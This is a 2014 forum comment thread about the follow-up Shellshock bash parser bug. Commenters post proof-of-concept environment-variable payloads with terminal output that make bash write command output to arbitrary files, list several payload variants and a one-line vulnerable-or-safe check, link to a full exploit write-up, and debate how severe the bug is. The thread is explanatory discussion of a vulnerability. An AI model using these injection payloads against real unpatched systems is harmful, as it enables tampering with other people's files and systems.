4 ms·
All this "echo date, cat echo" business is confusing. Let me fix that for you. hobbes@metalbaby:~$ export badvar='() { (a)=>\' hobbes@metalbaby:~$ bas
by daveloyall 12y ago
All this "echo date, cat echo" business is confusing.
Let me fix that for you.
hobbes@metalbaby:~$ export badvar='() { (a)=>\'
hobbes@metalbaby:~$ bash -c "somestring executeMe"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
bash: executeMe: command not found
hobbes@metalbaby:~$ cat somestring #it exists but is empty.
hobbes@metalbaby:~$ bash -c "somestring date"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
hobbes@metalbaby:~$ cat somestring
Thu Sep 25 11:01:35 CDT 2014
hobbes@metalbaby:~$ bash -c "somestring echo hello"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
hobbes@metalbaby:~$ cat somestring
hello
Gititgotitgood? Great. Now how the heck does anybody think that is as bad as the first one?
For this one, an attacker needs to control both the environment AND the command line of the child shell.
People, if those criteria are met, the attacker wins, with or without bugs.
Yes, yes, there are situations where the attacker has partial control of the command line via a filename argument or whatever--whatever indeed! That's not even in the same category as the first bug.
- gwillen 12y agoDon't think "how can an attacker get me by prepending '>' or '<' to a commandline?" (You did realize that '<' is also possible, right? Did you check what else is possible?) Think "the buggy bash parser is still exposed to an attacker, and nobody really knows what it can be made to do."
- daveloyall 12y agoYeah, I hear you. Well let's see... All of these work for me (bash 4.3 including yesterday's patches on Debian sid amd64): hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (b)=>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (gooooooaaaal)=>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a).>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)[>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile hobbes@metalbaby:~$ unset badvar; echo tricksie > inputfile; export badvar='() { (a)=<\'; bash -c "inputfile cat";
- gwillen 12y agoAs a followup, someone finally did find a full-blown 'execute whatever you like' exploit for the patched version of bash. http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-...
- bjornsing 12y agoThe way I see it a sane but unfortunate programmer can cause a CVE, but you have to be insane to do what bash does with its environment. Why the HELL doesn't bash store inherited functions in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS") like everybody else?!? In my mind even this trivial example is a bug (albeit less serious from a security perspective): $ env VAR="() { This is how I like my VAR } ()" /bin/sh -c 'echo $VAR' /bin/sh: VAR: line 0: syntax error near unexpected token `(' /bin/sh: VAR: line 0: `VAR () { This is how I like my VAR } ()' /bin/sh: error importing function definition for `VAR' $ Imagine an ABI that works like that: you can pass any string, as long as it doesn't start with "() {"... :/
- digitalsushi 12y agoexport badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe